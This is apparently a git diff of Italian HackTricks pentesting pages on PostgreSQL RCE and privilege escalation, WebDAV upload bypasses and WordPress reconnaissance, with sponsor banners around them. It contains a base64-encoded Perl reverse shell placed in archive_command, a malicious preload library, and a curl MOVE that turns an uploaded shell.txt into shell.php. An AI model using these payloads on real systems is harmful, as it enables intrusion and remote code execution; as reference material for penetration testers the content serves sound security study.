[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md) [rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %} {% endcontent-ref %}
### RCE con estensioni PostgreSQL ### RCE con Estensioni PostgreSQL
Una volta che hai **imparato** dal post precedente **come caricare file binari**, potresti provare a ottenere **RCE caricando un'estensione postgresql e caricandola**. Una volta che hai **imparato** dal post precedente **come caricare file binari**, potresti provare a ottenere **RCE caricando un'estensione postgresql e caricandola**.
@ -481,7 +477,7 @@ Quindi, un attaccante dovrà:
2. `ssl_passphrase_command_supports_reload = on` 2. `ssl_passphrase_command_supports_reload = on`
6. Eseguire `pg_reload_conf()` 6. Eseguire `pg_reload_conf()`
Durante i test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (così l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_. Durante i test ho notato che ciò funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (così l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_.
#### **RCE con archive\_command** #### **RCE con archive\_command**
@ -496,7 +492,7 @@ I passaggi generali sono:
1. Verificare se la modalità di archiviazione è abilitata: `SELECT current_setting('archive_mode')` 1. Verificare se la modalità di archiviazione è abilitata: `SELECT current_setting('archive_mode')`
2. Sovrascrivere `archive_command` con il payload. Ad esempio, una reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 2. Sovrascrivere `archive_command` con il payload. Ad esempio, una reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Ricaricare la configurazione: `SELECT pg_reload_conf()` 3. Ricaricare la configurazione: `SELECT pg_reload_conf()`
4. Forzare l'operazione WAL a eseguire, che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres 4. Forzare l'operazione WAL per eseguire, che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres
#### **RCE con librerie di caricamento anticipato** #### **RCE con librerie di caricamento anticipato**
@ -515,7 +511,7 @@ I passaggi dell'attacco sono:
2. Includere la directory `/tmp/` nel valore di `dynamic_library_path`, ad esempio `dynamic_library_path = '/tmp:$libdir'` 2. Includere la directory `/tmp/` nel valore di `dynamic_library_path`, ad esempio `dynamic_library_path = '/tmp:$libdir'`
3. Includere il nome della libreria dannosa nel valore di `session_preload_libraries`, ad esempio `session_preload_libraries = 'payload.so'` 3. Includere il nome della libreria dannosa nel valore di `session_preload_libraries`, ad esempio `session_preload_libraries = 'payload.so'`
4. Verificare la versione principale di PostgreSQL tramite la query `SELECT version()` 4. Verificare la versione principale di PostgreSQL tramite la query `SELECT version()`
5. Compilare il codice della libreria dannosa con il pacchetto dev corretto di PostgreSQL Codice di esempio: 5. Compilare il codice della libreria dannosa con il pacchetto dev corretto di PostgreSQL Esempio di codice:
```c ```c
#include <stdio.h> #include <stdio.h>
@ -567,13 +563,13 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
9. Alla successiva connessione al DB, riceverai la connessione della shell inversa. 9. Alla successiva connessione al DB, riceverai la connessione della shell inversa.
## **Postgres Privesc** ## **Postgres Privesc**
### Privesc CREATEROLE ### CREATEROLE Privesc
#### **Concessione** #### **Concessione**
Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._ Secondo i [**documenti**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superuser**._
Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superutenti) che possono darti l'opzione di leggere e scrivere file ed eseguire comandi: Quindi, se hai il permesso di **`CREATEROLE`** potresti concederti l'accesso ad altri **ruoli** (che non siano superuser) che possono darti l'opzione di leggere e scrivere file ed eseguire comandi:
```sql ```sql
# Access to execute commands # Access to execute commands
GRANT pg_execute_server_program TO username; GRANT pg_execute_server_program TO username;
@ -627,7 +623,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
2. Inserisci del contenuto non rilevante nella tabella per fornire dati alla funzione di indice. 2. Inserisci del contenuto non rilevante nella tabella per fornire dati alla funzione di indice.
3. Sviluppa una funzione di indice dannosa che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati. 3. Sviluppa una funzione di indice dannosa che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati.
4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database. 4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database.
5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo così l'esecuzione del comando shell precedentemente non autorizzato. 5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indice dannosa viene chiamata con i permessi di "cloudsqladmin," consentendo l'esecuzione del comando shell precedentemente non autorizzato.
In PostgreSQL, questo flusso appare più o meno così: In PostgreSQL, questo flusso appare più o meno così:
```sql ```sql
@ -689,7 +685,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
``` ```
### **Funzione definita dall'utente con** SECURITY DEFINER ### **Funzione definita dall'utente con** SECURITY DEFINER
[Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, perché **hanno trovato questa funzione con il flag SECURITY DEFINER**: [Nel seguente articolo](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a ottenere privilegi all'interno di un'istanza di postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**:
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text RETURNS text
@ -712,7 +708,7 @@ PERFORM dblink_disconnect();
Come [**spiegato nella documentazione**](https://www.postgresql.org/docs/current/sql-createfunction.html) una funzione con **SECURITY DEFINER viene eseguita** con i privilegi dell'**utente che la possiede**. Pertanto, se la funzione è **vulnerabile all'Injection SQL** o sta eseguendo **azioni privilegiate con parametri controllati dall'attaccante**, potrebbe essere sfruttata per **escalare i privilegi all'interno di postgres**. Come [**spiegato nella documentazione**](https://www.postgresql.org/docs/current/sql-createfunction.html) una funzione con **SECURITY DEFINER viene eseguita** con i privilegi dell'**utente che la possiede**. Pertanto, se la funzione è **vulnerabile all'Injection SQL** o sta eseguendo **azioni privilegiate con parametri controllati dall'attaccante**, potrebbe essere sfruttata per **escalare i privilegi all'interno di postgres**.
Nella riga 4 del codice precedente puoi vedere che la funzione ha il flag **SECURITY DEFINER**. Nella riga 4 del codice precedente è possibile vedere che la funzione ha il flag **SECURITY DEFINER**.
```sql ```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@ -722,7 +718,7 @@ E poi **eseguire comandi**:
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
### Forzare la password con PL/pgSQL ### Forzare l'accesso con PL/pgSQL
**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, le **istruzioni SQL** e i **trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e all'automazione del database.\ **PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, le **istruzioni SQL** e i **trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e all'automazione del database.\
**È possibile abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti.** **È possibile abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti.**
@ -734,7 +730,7 @@ E poi **eseguire comandi**:
### Privesc sovrascrivendo le tabelle interne di PostgreSQL ### Privesc sovrascrivendo le tabelle interne di PostgreSQL
{% hint style="info" %} {% hint style="info" %}
Il seguente vettore di privesc è particolarmente utile in contesti SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT nidificate Il seguente vettore di privesc è particolarmente utile in contesti di SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT nidificate
{% endhint %} {% endhint %}
Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`. Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
@ -746,7 +742,7 @@ I passaggi dell'attacco sono:
1. Ottenere la directory dei dati di PostgreSQL 1. Ottenere la directory dei dati di PostgreSQL
2. Ottenere un percorso relativo al filenode, associato alla tabella `pg_authid` 2. Ottenere un percorso relativo al filenode, associato alla tabella `pg_authid`
3. Scaricare il filenode tramite le funzioni `lo_*` 3. Scaricare il filenode tramite le funzioni `lo_*`
4. Ottenere il tipo di dati, associato alla tabella `pg_authid` 4. Ottenere il tipo di dati associato alla tabella `pg_authid`
5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); impostare tutti i flag booleani `rol*` su 1 per le autorizzazioni complete. 5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); impostare tutti i flag booleani `rol*` su 1 per le autorizzazioni complete.
6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale sul disco 6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale sul disco
7. _(Opzionale)_ Svuotare la cache della tabella in memoria eseguendo una query SQL costosa 7. _(Opzionale)_ Svuotare la cache della tabella in memoria eseguendo una query SQL costosa
@ -760,7 +756,7 @@ msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload msf> use exploit/windows/postgres/postgres_payload
``` ```
### registrazione ### logging
All'interno del file _**postgresql.conf**_ è possibile abilitare i log di postgresql modificando: All'interno del file _**postgresql.conf**_ è possibile abilitare i log di postgresql modificando:
```bash ```bash
@ -786,6 +782,6 @@ string pgadmin4.db
``` ```
### pg\_hba ### pg\_hba
L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso è negato. L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso viene negato.
I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono per il modo in cui la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid. I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono per come la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid.

View file

@ -3,10 +3,10 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
<details> <details>
@ -14,11 +14,11 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
@ -30,11 +30,11 @@ Per superare le restrizioni sui caricamenti di file, specialmente quelli che imp
* **Caricare** file con **estensioni eseguibili** direttamente se non sono limitati. * **Caricare** file con **estensioni eseguibili** direttamente se non sono limitati.
* **Rinominare** i file non eseguibili caricati (come .txt) con un'estensione eseguibile. * **Rinominare** i file non eseguibili caricati (come .txt) con un'estensione eseguibile.
* **Copiare** i file non eseguibili caricati, cambiando la loro estensione in una che è eseguibile. * **Copiare** i file non eseguibili caricati, cambiando la loro estensione in una eseguibile.
## DavTest ## DavTest
**Davtest** cerca di **caricare diversi file con estensioni diverse** e **verifica** se l'estensione viene **eseguita**: **Davtest** cerca di **caricare diversi file con estensioni diverse** e **controlla** se l'estensione viene **eseguita**:
```bash ```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
@ -56,22 +56,22 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
## Vulnerabilità WebDav di IIS5/6 ## Vulnerabilità WebDav in IIS5/6
Questa vulnerabilità è molto interessante. Il **WebDav** **non permette** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **aggirare** questo problema **aggiungendo** alla fine del nome **";.txt"** e il file verrà **eseguito** come se fosse un file .asp (potresti anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**). Questa vulnerabilità è molto interessante. Il **WebDav** **non permette** di **caricare** o **rinominare** file con estensione **.asp**. Tuttavia, è possibile **aggirare** questo problema **aggiungendo** alla fine del nome **";.txt"** e il file verrà **eseguito** come se fosse un file .asp (si potrebbe anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
Quindi puoi **caricare** la tua shell come file ".**txt"** e **copiarla/spostarla in un file ".asp;.txt"**. Accedendo a quel file attraverso il server web, verrà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma in realtà ha funzionato). Quindi puoi **caricare** la tua shell come file ".**txt"** e **copiarla/spostarla in un file ".asp;.txt"**. Accedendo a quel file attraverso il server web, verrà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma in realtà ha funzionato).
![](<../../.gitbook/assets/image (1092).png>) ![](<../../.gitbook/assets/image (1092).png>)
## Credenziali di posta ## Credenziali post
Se il Webdav stava utilizzando un server Apache dovresti guardare i siti configurati in Apache. Comunemente:\ Se il Webdav utilizzava un server Apache, dovresti controllare i siti configurati in Apache. Comunemente:\
_**/etc/apache2/sites-enabled/000-default**_ _**/etc/apache2/sites-enabled/000-default**_
All'interno potresti trovare qualcosa del genere: All'interno potresti trovare qualcosa del genere:
@ -85,7 +85,7 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password AuthUserFile /etc/apache2/users.password
Require valid-user Require valid-user
``` ```
Come puoi vedere ci sono i file con le **credenziali** valide per il server **webdav**: Come puoi vedere, ci sono i file con le **credenziali** valide per il server **webdav**:
``` ```
/etc/apache2/users.password /etc/apache2/users.password
``` ```
@ -113,14 +113,14 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
@ -10,22 +10,22 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Informazioni di Base ## Informazioni di Base
I file **caricati** vanno a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\ I file **caricati** vanno a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
I **file dei temi possono essere trovati in /wp-content/themes/**, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Ad esempio: Utilizzando il **tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\ I file dei **temi possono essere trovati in /wp-content/themes/**, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Ad esempio: Utilizzando il **tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Un'altra URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **Un'altra URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
In **wp-config.php** puoi trovare la password di root del database. In **wp-config.php** puoi trovare la password di root del database.
@ -36,13 +36,13 @@ Percorsi di accesso predefiniti da controllare: _**/wp-login.php, /wp-login/, /w
* `index.php` * `index.php`
* `license.txt` contiene informazioni utili come la versione di WordPress installata. * `license.txt` contiene informazioni utili come la versione di WordPress installata.
* `wp-activate.php` è utilizzato per il processo di attivazione dell'email durante la configurazione di un nuovo sito WordPress. * `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
* Cartelle di accesso (possono essere rinominate per nasconderle): * Cartelle di accesso (possono essere rinominate per nasconderle):
* `/wp-admin/login.php` * `/wp-admin/login.php`
* `/wp-admin/wp-login.php` * `/wp-admin/wp-login.php`
* `/login.php` * `/login.php`
* `/wp-login.php` * `/wp-login.php`
* `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP agendo come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla [REST API](https://developer.wordpress.org/rest-api/reference) di WordPress. * `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP agendo come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dall'[API REST](https://developer.wordpress.org/rest-api/reference) di WordPress.
* La cartella `wp-content` è la directory principale dove vengono memorizzati i plugin e i temi. * La cartella `wp-content` è la directory principale dove vengono memorizzati i plugin e i temi.
* `wp-content/uploads/` È la directory dove vengono memorizzati i file caricati sulla piattaforma. * `wp-content/uploads/` È la directory dove vengono memorizzati i file caricati sulla piattaforma.
* `wp-includes/` Questa è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget. * `wp-includes/` Questa è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.
@ -100,7 +100,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
``` ```
### Estrarre versioni in generale ### Estrarre versioni in generale
{% endcode %} {% code overflow="wrap" %}
